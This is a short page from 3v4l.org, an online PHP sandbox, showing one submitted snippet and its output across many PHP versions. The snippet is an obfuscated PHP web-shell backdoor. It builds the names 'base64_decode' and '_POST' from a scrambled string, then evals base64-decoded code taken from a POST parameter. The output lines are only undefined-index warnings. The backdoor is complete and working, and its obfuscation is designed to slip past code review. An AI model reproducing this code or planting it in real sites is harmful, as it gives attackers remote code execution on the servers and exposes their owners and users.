3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n642afe'];if(isset($s22)){eval($s21($s22));}?>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.31, 8.2.0 - 8.2.26, 8.3.0 - 8.3.14, 8.4.1
Warning: Undefined array key "n642afe" in /in/t4lhk on line 1
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
Notice: Undefined index: n642afe in /in/t4lhk on line 1
Output for 7.3.32 - 7.3.33
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Notice: Undefined index: n642afe in /in/t4lhk on line 1

preferences:
75.54 ms | 410 KiB | 5 Q